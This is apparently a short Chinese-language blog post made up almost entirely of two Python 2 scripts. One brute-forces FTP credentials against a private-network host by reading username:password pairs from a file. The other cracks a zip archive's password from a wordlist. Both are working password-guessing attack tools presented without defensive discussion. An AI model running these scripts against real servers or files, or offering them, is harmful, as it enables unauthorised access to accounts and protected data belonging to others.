用ftplib爆破FTP口令
#coding:utf-8 #author:jwong import ftplib def bruteLogin(hostname,passwordFile): with open(passwordFile,'r') as f: for line in f.readlines(): username = line.split(':')[0] password = line.split(':')[1].strip('\r').strip('\n') print "[+] Trying:" + username + "/" + password try: ftp = ftplib.FTP(hostname) ftp.login(username,password) print 'login success' ftp.quit() return (username,password) except Exception, e: pass print 'could not brute force FTP credentials' return (None,None) if __name__ == '__main__': host = '192.168.21.104' passwordFile = 'userpass.txt' bruteLogin(host,passwordFile)
爆破zip脚本:
#coding:utf-8 #author:jwong import zipfile filename = 'master.zip' with open('password.txt','r') as f: zf = zipfile.ZipFile(filename) for line in f.readlines(): line = line.strip() try: zf.extractall("./sample",pwd=line) print "crack password is %s" % line exit(0) except Exception, e: pass